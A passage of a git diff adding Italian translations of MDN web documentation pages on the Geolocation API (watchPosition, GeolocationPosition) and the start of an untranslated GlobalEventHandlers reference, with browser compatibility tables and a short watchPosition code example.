+    16.0</td>
+   <td>5</td>
+  </tr>
+  <tr>
+   <td>Secure origins only</td>
+   <td>{{CompatChrome(50.0)}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatGeckoDesktop("55")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>39</td>
+   <td>10</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Funzionalità</th>
+   <th>Android</th>
+   <th>Android Webview</th>
+   <th>Edge</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>Firefox OS</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+   <th>Chrome for Android</th>
+  </tr>
+  <tr>
+   <td>Supporto base</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile("4")}}</td>
+   <td>1.0.1</td>
+   <td>{{CompatUnknown}}</td>
+   <td>10.60<br>
+    {{CompatNo}} 15.0<br>
+    16.0</td>
+   <td>3.2</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td>Secure origins only</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatChrome(50.0)}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatGeckoMobile("55")}}</td>
+   <td> </td>
+   <td> </td>
+   <td> </td>
+   <td>10.1</td>
+   <td>{{CompatChrome(50.0)}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] Firefox calcola la tua posizione anche usando il tuo WiFi grazie ai Google Location Services. Durante il trasferimento tra Firefox e Google, i dati scambiati includono dei dati sul WiFi Access Point, un token di accesso (simile a un cookie) e l'indirizzo IP dell'utente. Per maggiori informazioni, dai un'occhiata alla <a href="http://www.mozilla.com/en-US/legal/privacy/">Privacy Policy</a> di Mozzilla e alla <a href="http://www.google.com/privacy-lsf.html">Privacy Policy</a> di Google.</p>
+
+<p>[2] A causa del punto [1], questa API non si può usare in China. Puoi usare le API di Baidu o di Autonavi.</p>
+
+<p>Firefox 3.6 (Gecko 1.9.2) ha aggiunta il supporto per l'uso del servizio <a href="http://catb.org/gpsd/">GPSD</a> (GPS daemon) per usare la geolocalizzazione su Linux.</p>
+
+<h2 id="Vedi_anche">Vedi anche</h2>
+
+<ul>
+ <li>{{domxref("navigator.geolocation")}}</li>
+ <li><a href="/en-US/Apps/Build/gather_and_modify_data/Plotting_yourself_on_the_map">Plotting yourself on the map</a></li>
+ <li><a href="https://www.w3.org/TR/geolocation-API/" rel="external">Geolocation API on w3.org</a></li>
+ <li><a href="https://hacks.mozilla.org/2013/10/who-moved-my-geolocation/">Who moved my geolocation?</a> (Hacks blog)</li>
+</ul>
diff --git a/files/it/web/api/geolocation/watchposition/index.html b/files/it/web/api/geolocation/watchposition/index.html
new file mode 100644
index 0000000000..e218675cf7
--- /dev/null
+++ b/files/it/web/api/geolocation/watchposition/index.html
@@ -0,0 +1,166 @@
+---
+title: Geolocation.watchPosition()
+slug: Web/API/Geolocation/watchPosition
+translation_of: Web/API/Geolocation/watchPosition
+---
+<p>{{securecontext_header}}{{ APIref("Geolocation API") }}</p>
+
+<p>Il metodo <code>watchPosition()</code> viene usato per creare una funzione che viene chiamata automaticamente ogni volta che cambia la posizione del dispositivo. Si può anche specificare una funzione da chiamare in caso di errore.</p>
+
+<p>Questo metodo ritorna un valore ID che può essere usato per terminare il metodo {{domxref("Geolocation.clearWatch()")}}.</p>
+
+<h2 id="Sintassi">Sintassi</h2>
+
+<pre class="syntaxbox"><em>id</em> = navigator.geolocation.watchPosition(<em>successo[</em>, <em>errore[</em>, <em>opzioni]]</em>)</pre>
+
+<h3 id="Parametri">Parametri</h3>
+
+<dl>
+ <dt><code>successo</code></dt>
+ <dd>Un funzione che prende come parametro di input un oggetto {{domxref("Position")}}.</dd>
+ <dt><code>errore</code> {{optional_inline}}</dt>
+ <dd>Una funzione che prende come parametro di input un oggetto {{domxref("PositionError")}}.</dd>
+ <dt><code>opzioni</code> {{optional_inline}}</dt>
+ <dd>Un oggetto {{domxref("PositionOptions")}} che permette di configurare la funzione che controlla la posizione.</dd>
+</dl>
+
+<h2 id="Esempi">Esempi</h2>
+
+<pre class="brush: js">var id, target, options;
+
+function success(pos) {
+  var crd = pos.coords;
+
+  if (target.latitude === crd.latitude &amp;&amp; target.longitude === crd.longitude) {
+    console.log('Congratulazioni, hai raggiunto il target');
+    navigator.geolocation.clearWatch(id);
+  }
+}
+
+function error(err) {
+  console.warn('ERROR(' + err.code + '): ' + err.message);
+}
+
+target = {
+  latitude : 0,
+  longitude: 0
+};
+
+options = {
+  enableHighAccuracy: false,
+  timeout: 5000,
+  maximumAge: 0
+};
+
+id = navigator.geolocation.watchPosition(success, error, options);
+</pre>
+
+<div class="note">
+<p>Se la tua applicazione gira su Firefox OS, controlla la pagina <a href="/en-US/docs/Web/API/Geolocation/navigator.requestWakeLock()">geolocation wake lock</a> per fare in modo che la posizione del dispositivo venga aggiornata in backgound o quando lo schermo del dispositivo è spento.</p>
+</div>
+
+<h2 id="Specifiche">Specifiche</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specifica</th>
+   <th scope="col">Stato</th>
+   <th scope="col">Commento</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('Geolocation', '#watch-position', 'Geolocation.watchPosition()')}}</td>
+   <td>{{Spec2('Geolocation')}}</td>
+   <td>Specifica iniziale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilità_dei_browser">Compatibilità dei browser</h2>
+
+<p>{{ CompatibilityTable() }}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Funzionalità</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Supporto base</td>
+   <td>5</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop("1.9.1")}}</td>
+   <td>9</td>
+   <td>10.60<br>
+    Rimosso nella 15.0<br>
+    Reintrodotto nella 16.0</td>
+   <td>5</td>
+  </tr>
+  <tr>
+   <td>Secure context-only</td>
+   <td>47</td>
+   <td>{{CompatUnknown()}}</td>
+   <td>{{CompatGeckoDesktop("55")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Funzionalità</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Edge</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Supporto base</td>
+   <td>{{CompatUnknown()}}</td>
+   <td>{{CompatUnknown()}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile("4")}}</td>
+   <td>{{CompatUnknown()}}</td>
+   <td>10.60</td>
+   <td>{{CompatUnknown()}}</td>
+  </tr>
+  <tr>
+   <td>Secure context-only</td>
+   <td>{{CompatNo}}</td>
+   <td>47</td>
+   <td>{{CompatUnknown()}}</td>
+   <td>{{CompatGeckoDesktop("55")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Vedi_anche">Vedi anche</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/API/Geolocation/navigator.requestWakeLock()">geolocation wake lock</a></li>
+ <li><a href="/en-US/docs/WebAPI/Using_geolocation" title="/en-US/docs/WebAPI/Using_geolocation">Uso della geolocalizzazione</a></li>
+ <li>The interface it belongs to, {{domxref("Geolocation")}}, and the way to access it {{domxref("NavigatorGeolocation.geolocation")}}.</li>
+ <li>L'operazione opposta: {{domxref("Geolocation.clearWatch()")}}</li>
+ <li>Un metodo simile: {{domxref("Geolocation.getCurrentPosition()")}}</li>
+</ul>
diff --git a/files/it/web/api/geolocationposition/index.html b/files/it/web/api/geolocationposition/index.html
new file mode 100644
index 0000000000..7498033a57
--- /dev/null
+++ b/files/it/web/api/geolocationposition/index.html
@@ -0,0 +1,126 @@
+---
+title: Position
+slug: Web/API/GeolocationPosition
+translation_of: Web/API/GeolocationPosition
+---
+<div>{{securecontext_header}}{{APIRef("Geolocation API")}}</div>
+
+<p>L'interfaccia <strong><code>Position</code></strong> rappresenta la posizione di un particolare dispositivo in un preciso istante. La posizione, rappresentata da un oggetto {{domxref("Coordinates")}}, comprende la posizione in 2D del dispositivo, su una sfera che rappresenta la Terra, l'altitudine e la velocità.</p>
+
+<h2 id="Proprietà">Proprietà</h2>
+
+<p><em>L'interfaccia <code>Position</code> non estende alcuna proprietà.</em></p>
+
+<dl>
+ <dt>{{domxref("Position.coords")}} {{readonlyInline}} {{securecontext_inline}}</dt>
+ <dd>Ritorna un oggetto {{domxref("Coordinates")}} che rappresenta la posizione attuale.</dd>
+ <dt>{{domxref("Position.timestamp")}} {{readonlyInline}} {{securecontext_inline}}</dt>
+ <dd>Ritorna {{domxref("DOMTimeStamp")}} che rappresenta l'orario in cui è stata calcolata la posizione.</dd>
+</dl>
+
+<h2 id="Metodi">Metodi</h2>
+
+<p><em><em>L'interaccia <code>Position</code> non va implementata e non estende alcun metodo.</em></em></p>
+
+<h2 id="Specifiche">Specifiche</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specifica</th>
+   <th scope="col">Stato</th>
+   <th scope="col">Commento</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('Geolocation', '#position', 'Position')}}</td>
+   <td>{{Spec2('Geolocation')}}</td>
+   <td>Specifica iniziale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilità_dei_browser">Compatibilità dei browser</h2>
+
+<p>{{ CompatibilityTable() }}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Funzionalità</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Supporto base</td>
+   <td>{{CompatChrome(5)}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop("1.9.1")}}</td>
+   <td>9</td>
+   <td>10.60<br>
+    Rimosso nella 15.0<br>
+    Reintrodotto nella 16.0</td>
+   <td>5</td>
+  </tr>
+  <tr>
+   <td>Secure context-only</td>
+   <td>{{CompatChrome(47)}}</td>
+   <td>{{CompatUnknown()}}</td>
+   <td>{{CompatGeckoDesktop("55")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Funzionalità</th>
+   <th>Android Webview</th>
+   <th>Chrome for Android</th>
+   <th>Edge</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Supporto base</td>
+   <td>{{CompatUnknown()}}</td>
+   <td>{{CompatUnknown()}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile("4")}}</td>
+   <td>{{CompatUnknown()}}</td>
+   <td>10.60</td>
+   <td>{{CompatUnknown()}}</td>
+  </tr>
+  <tr>
+   <td>Secure context-only</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatChrome(47)}}</td>
+   <td>{{CompatUnknown()}}</td>
+   <td>{{CompatGeckoDesktop("55")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Vedi_anche">Vedi anche</h2>
+
+<ul>
+ <li><a href="/en-US/docs/WebAPI/Using_geolocation">Uso della geolocalizzazione</a></li>
+ <li>L'interfaccia {{domxref("Geolocation")}} utilizzata.</li>
+</ul>
diff --git a/files/it/web/api/globaleventhandlers/index.html b/files/it/web/api/globaleventhandlers/index.html
new file mode 100644
index 0000000000..9238474923
--- /dev/null
+++ b/files/it/web/api/globaleventhandlers/index.html
@@ -0,0 +1,714 @@
+---
+title: GlobalEventHandlers
+slug: Web/API/GlobalEventHandlers
+tags:
+  - API
+  - DOM
+  - GlobalEventHandlers
+  - HTML DOM
+  - Mixin
+  - NeedsTranslation
+  - Reference
+  - TopicStub
+  - events
+translation_of: Web/API/GlobalEventHandlers
+---
+<div>{{ApiRef("HTML DOM")}}</div>
+
+<p>The <strong><code>GlobalEventHandlers</code></strong> mixin describes the event handlers common to several interfaces like {{domxref("HTMLElement")}}, {{domxref("Document")}}, or {{domxref("Window")}}. Each of these interfaces can, of course, add more event handlers in addition to the ones listed below.</p>
+
+<div class="note">
+<p><strong>Note</strong>: <code>GlobalEventHandlers</code> is a mixin and not an interface; you can't actually create an object of type <code>GlobalEventHandlers</code>.</p>
+</div>
+
+<h2 id="Properties_2">Properties</h2>
+
+<p><em>This interface doesn't include any properties except for the event handlers listed below.</em></p>
+
+<h3 id="Event_handlers">Event handlers</h3>
+
+<p>These event handlers are defined on the {{domxref("GlobalEventHandlers")}} mixin, and implemented by {{domxref("HTMLElement")}}, {{domxref("Document")}}, {{domxref("Window")}}, as well as by {{domxref("WorkerGlobalScope")}} for Web Workers.</p>
+
+<div id="Properties">
+<dl>
+ <dt>{{domxref("GlobalEventHandlers.onabort")}}</dt>
+ <dd>Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("abort")}} event is raised.</dd>
+ <dt>{{domxref("GlobalEventHandlers.onanimationcancel")}} {{Non-standard_inline}}</dt>
+ <dd>An {{domxref("EventHandler")}} called when an {{event("animationcancel")}} event is sent, indicating that a running <a href="/en-US/docs/Web/CSS/CSS_Animations">CSS animation</a> has been canceled.</dd>
+ <dt>{{domxref("GlobalEventHandlers.onanimationend")}} {{Non-standard_inline}}</dt>
+ <dd>An {{domxref("EventHandler")}} called when an {{event("animationend")}} event is sent, indicating that a <a href="/en-US/docs/Web/CSS/CSS_Animations">CSS animation</a> has stopped playing.</dd>
+ <dt>{{domxref("GlobalEventHandlers.onanimationiteration")}} {{Non-standard_inline}}</dt>
+ <dd>An {{domxref("EventHandler")}} called when an {{event("animationiteration")}} event has been sent, indicating that a <a href="/en-US/docs/Web/CSS/CSS_Animations">CSS animation</a> has begun playing a new iteration of the animation sequence.</dd>
+ <dt>{{domxref("GlobalEventHandlers.onanimationstart")}} {{Non-standard_inline}}</dt>
+ <dd>An {{domxref("EventHandler")}} called when an {{event("animationstart")}} event is sent, indicating that a <a href="/en-US/docs/Web/CSS/CSS_Animations">CSS animation</a> has started playing.</dd>
+ <dt>{{domxref("GlobalEventHandlers.onauxclick")}} {{Non-standard_inline}}</dt>
+ <dd>An {{domxref("EventHandler")}} called when an {{event("auxclick")}} event is sent, indicating that a non-primary button has been pressed on an input device (e.g. a middle mouse button).</dd>
+ <dt>{{domxref("GlobalEventHandlers.onblur")}}</dt>
+ <dd>Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("blur")}} event is raised.</dd>
+ <dt>{{domxref("GlobalEventHandlers.onerror")}}</dt>
+ <dd>Is an {{domxref("OnErrorEventHandler")}} representing the code to be called when the {{event("error")}} event is raised.</dd>
+ <dt>{{domxref("GlobalEventHandlers.onfocus")}}</dt>
+ <dd>Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("focus")}} event is raised.</dd>
+ <dt>{{domxref("GlobalEventHandlers.oncancel")}}</dt>
+ <dd>Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("cancel")}} event is raised.</dd>
+ <dt>{{domxref("GlobalEventHandlers.oncanplay")}}</dt>
+ <dd>Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("canplay")}} event is raised.</dd>
+ <dt>{{domxref("GlobalEventHandlers.oncanplaythrough")}}</dt>
+ <dd>Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("canplaythrough")}} event is raised.</dd>
+ <dt>{{domxref("GlobalEventHandlers.onchange")}}</dt>
+ <dd>Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("change")}} event is raised.</dd>
+ <dt>{{domxref("GlobalEventHandlers.onclick")}}</dt>
+ <dd>Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("click")}} event is raised.</dd>
+ <dt>{{domxref("GlobalEventHandlers.onclose")}}</dt>
+ <dd>Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("close")}} event is raised.</dd>
+ <dt>{{domxref("GlobalEventHandlers.oncontextmenu")}}</dt>
+ <dd>Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("contextmenu")}} event is raised.</dd>
+ <dt>{{domxref("GlobalEventHandlers.oncuechange")}}</dt>
+ <dd>Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("cuechange")}} event is raised.</dd>
+ <dt>{{domxref("GlobalEventHandlers.ondblclick")}}</dt>
+ <dd>Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("dblclick")}} event is raised.</dd>
+ <dt>{{domxref("GlobalEventHandlers.ondrag")}}</dt>
+ <dd>Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("drag")}} event is raised.</dd>
+ <dt>{{domxref("GlobalEventHandlers.ondragend")}}</dt>
+ <dd>Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("dragend")}} event is raised.</dd>
+ <dt>{{domxref("GlobalEventHandlers.ondragenter")}}</dt>
+ <dd>Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("dragenter")}} event is raised.</dd>
+ <dt>{{domxref("GlobalEventHandlers.ondragexit")}}</dt>
+ <dd>Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("dragexit")}} event is raised.</dd>
+ <dt>{{domxref("GlobalEventHandlers.ondragleave")}}</dt>
+ <dd>Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("dragleave")}} event is raised.</dd>
+ <dt>{{domxref("GlobalEventHandlers.ondragover")}}</dt>
+ <dd>Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("dragover")}} event is raised.</dd>
+ <dt>{{domxref("GlobalEventHandlers.ondragstart")}}</dt>
+ <dd>Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("dragstart")}} event is raised.</dd>
+ <dt>{{domxref("GlobalEventHandlers.ondrop")}}</dt>
+ <dd>Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("drop")}} event is raised.</dd>
+ <dt>{{domxref("GlobalEventHandlers.ondurationchange")}}</dt>
+ <dd>Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("durationchange")}} event is raised.</dd>
+ <dt>{{domxref("GlobalEventHandlers.onemptied")}}</dt>
+ <dd>Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("emptied")}} event is raised.</dd>
+ <dt>{{domxref("GlobalEventHandlers.onended")}}</dt>
+ <dd>Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("ended")}} event is raised.</dd>
+ <dt>{{domxref("GlobalEventHandlers.ongotpointercapture")}}</dt>
+ <dd>
+ <p>Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("gotpointercapture")}} event type is raised.</p>
+ </dd>
+ <dt>{{domxref("GlobalEventHandlers.oninput")}}</dt>
+ <dd>Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("input")}} event is raised.</dd>
+ <dt>{{domxref("GlobalEventHandlers.oninvalid")}}</dt>
+ <dd>Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("invalid")}} event is raised.</dd>
+ <dt>{{domxref("GlobalEventHandlers.onkeydown")}}</dt>
+ <dd>Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("keydown")}} event is raised.</dd>
+ <dt>{{domxref("GlobalEventHandlers.onkeypress")}}</dt>
+ <dd>Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("keypress")}} event is raised.</dd>
+ <dt>{{domxref("GlobalEventHandlers.onkeyup")}}</dt>
+ <dd>Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("keyup")}} event is raised.</dd>
+ <dt>{{domxref("GlobalEventHandlers.onload")}}</dt>
+ <dd>Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("load")}} event is raised.</dd>
+ <dt>{{domxref("GlobalEventHandlers.onloadeddata")}}</dt>
+ <dd>Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("loadeddata")}} event is raised.</dd>
+ <dt>{{domxref("GlobalEventHandlers.onloadedmetadata")}}</dt>
+ <dd>Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("loadedmetadata")}} event is raised.</dd>
+ <dt>{{domxref("GlobalEventHandlers.onloadend")}}</dt>
+ <dd>Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("loadend")}} event is raised (when progress has stopped on the loading of a resource.)</dd>
+ <dt>{{domxref("GlobalEventHandlers.onloadstart")}}</dt>
+ <dd>Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("loadstart")}} event is raised (when progress has begun on the loading of a resource.)</dd>
+ <dt>{{domxref("GlobalEventHandlers.onlostpointercapture")}}</dt>
+ <dd>
+ <p>Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("lostpointercapture")}} event type is raised.</p>
+ </dd>
+ <dt>{{domxref("GlobalEventHandlers.onmousedown")}}</dt>
+ <dd>Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("mousedown")}} event is raised.</dd>
+ <dt>{{domxref("GlobalEventHandlers.onmouseenter")}}</dt>
+ <dd>Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("mouseenter")}} event is raised.</dd>
+ <dt>{{domxref("GlobalEventHandlers.onmouseleave")}}</dt>
+ <dd>Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("mouseleave")}} event is raised.</dd>
+ <dt>{{domxref("GlobalEventHandlers.onmousemove")}}</dt>
+ <dd>Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("mousemove")}} event is raised.</dd>
+ <dt>{{domxref("GlobalEventHandlers.onmouseout")}}</dt>
+ <dd>Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("mouseout")}} event is raised.</dd>
+ <dt>{{domxref("GlobalEventHandlers.onmouseover")}}</dt>
+ <dd>Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("mouseover")}} event is raised.</dd>
+ <dt>{{domxref("GlobalEventHandlers.onmouseup")}}</dt>
+ <dd>Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("mouseup")}} event is raised.</dd>
+ <dt>{{domxref("GlobalEventHandlers.onmousewheel")}}</dt>
+ <dd>Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("mousewheel")}} event is raised.</dd>
+ <dt>{{ domxref("GlobalEventHandlers.onwheel") }}</dt>
+ <dd>Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("wheel")}} event is raised.</dd>
+ <dt>{{domxref("GlobalEventHandlers.onpause")}}</dt>
+ <dd>Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("pause")}} event is raised.</dd>
+ <dt>{{domxref("GlobalEventHandlers.onplay")}}</dt>
+ <dd>Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("play")}} event is raised.</dd>
+ <dt>{{domxref("GlobalEventHandlers.onplaying")}}</dt>
+ <dd>Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("playing")}} event is raised.</dd>
+ <dt>{{domxref("GlobalEventHandlers.onpointerdown")}}</dt>
+ <dd>Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("pointerdown")}} event is raised.</dd>
+ <dt>{{domxref("GlobalEventHandlers.onpointermove")}}</dt>
+ <dd>Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("pointermove")}} event is raised.</dd>
+ <dt>{{domxref("GlobalEventHandlers.onpointerup")}}</dt>
+ <dd>Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("pointerup")}} event is raised.</dd>
+ <dt>{{domxref("GlobalEventHandlers.onpointercancel")}}</dt>
+ <dd>Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("pointercancel")}} event is raised.</dd>
+ <dt>{{domxref("GlobalEventHandlers.onpointerover")}}</dt>
+ <dd>Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("pointerover")}} event is raised.</dd>
+ <dt>{{domxref("GlobalEventHandlers.onpointerout")}}</dt>
+ <dd>Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("pointerout")}} event is raised.</dd>
+ <dt>{{domxref("GlobalEventHandlers.onpointerenter")}}</dt>
+ <dd>Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("pointerevent")}} event is raised.</dd>
+ <dt>{{domxref("GlobalEventHandlers.onpointerleave")}}</dt>
+ <dd>Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("pointerleave")}} event is raised.</dd>
+ <dt>{{domxref("GlobalEventHandlers.onpointerlockchange")}} {{experimental_inline}}</dt>
+ <dd>Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("pointerlockchange")}} event is raised.</dd>
+ <dt>{{domxref("GlobalEventHandlers.onpointerlockerror")}} {{experimental_inline}}</dt>
+ <dd>Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("pointerlockerror")}} event is raised.</dd>
+ <dt>{{domxref("GlobalEventHandlers.onprogress")}}</dt>
+ <dd>Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("progress")}} event is raised.</dd>
+ <dt>{{domxref("GlobalEventHandlers.onratechange")}}</dt>
+ <dd>Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("ratechange")}} event is raised.</dd>
+ <dt>{{domxref("GlobalEventHandlers.onreset")}}</dt>
+ <dd>Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("reset")}} event is raised.</dd>
+ <dt>{{domxref("GlobalEventHandlers.onscroll")}}</dt>
+ <dd>Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("scroll")}} event is raised.</dd>
+ <dt>{{domxref("GlobalEventHandlers.onseeked")}}</dt>
+ <dd>Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("seeked")}} event is raised.</dd>
+ <dt>{{domxref("GlobalEventHandlers.onseeking")}}</dt>
+ <dd>Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("seeking")}} event is raised.</dd>
+ <dt>{{domxref("GlobalEventHandlers.onselect")}}</dt>
+ <dd>Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("select")}} event is raised.</dd>
+ <dt>{{domxref("GlobalEventHandlers.onselectstart")}}</dt>
+ <dd>Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("selectionchange")}} event is raised, i.e. when the user starts to make a new text selection on a web page.</dd>
+ <dt>{{domxref("GlobalEventHandlers.onselectionchange")}}</dt>
+ <dd>Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("selectionchange")}} event is raised, i.e. when the text selected on a web page changes.</dd>
+ <dt>{{domxref("GlobalEventHandlers.onshow")}}</dt>
+ <dd>Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("show")}} event is raised.</dd>
+ <dt>{{domxref("GlobalEventHandlers.onsort")}} {{experimental_inline}}</dt>
+ <dd>Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("sort")}} event is raised.</dd>
+ <dt>{{domxref("GlobalEventHandlers.onstalled")}}</dt>
+ <dd>Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("stalled")}} event is raised.</dd>
+ <dt>{{domxref("GlobalEventHandlers.onsubmit")}}</dt>
+ <dd>Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("submit")}} event is raised.</dd>
+ <dt>{{domxref("GlobalEventHandlers.onsuspend")}}</dt>
+ <dd>Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("suspend")}} event is raised.</dd>
+ <dt>{{domxref("GlobalEventHandlers.ontimeupdate")}}</dt>
+ <dd>Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("timeupdate")}} event is raised.</dd>
+ <dt>{{domxref("GlobalEventHandlers.onvolumechange")}}</dt>
+ <dd>Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("volumechange")}} event is raised.</dd>
+ <dt>{{domxref("GlobalEventHandlers.ontouchcancel")}}</dt>
+ <dd>Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("touchcancel")}} event is raised.</dd>
+ <dt>{{domxref("GlobalEventHandlers.ontouchend")}}</dt>
+ <dd>Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("touchend")}} event is raised.</dd>
+ <dt>{{domxref("GlobalEventHandlers.ontouchmove")}}</dt>
+ <dd>Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("touchmove")}} event is raised.</dd>
+ <dt>{{domxref("GlobalEventHandlers.ontouchstart")}}</dt>
+ <dd>Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("touchstart")}} event is raised.</dd>
+ <dt>{{domxref("GlobalEventHandlers.ontransitioncancel")}}</dt>
+ <dd>An {{domxref("EventHandler")}} called when a {{event("transitioncancel")}} event is sent, indicating that a <a href="/en-US/docs/Web/CSS/CSS_Transitions">CSS transition</a> has been cancelled.</dd>
+ <dt>{{domxref("GlobalEventHandlers.ontransitionend")}}</dt>
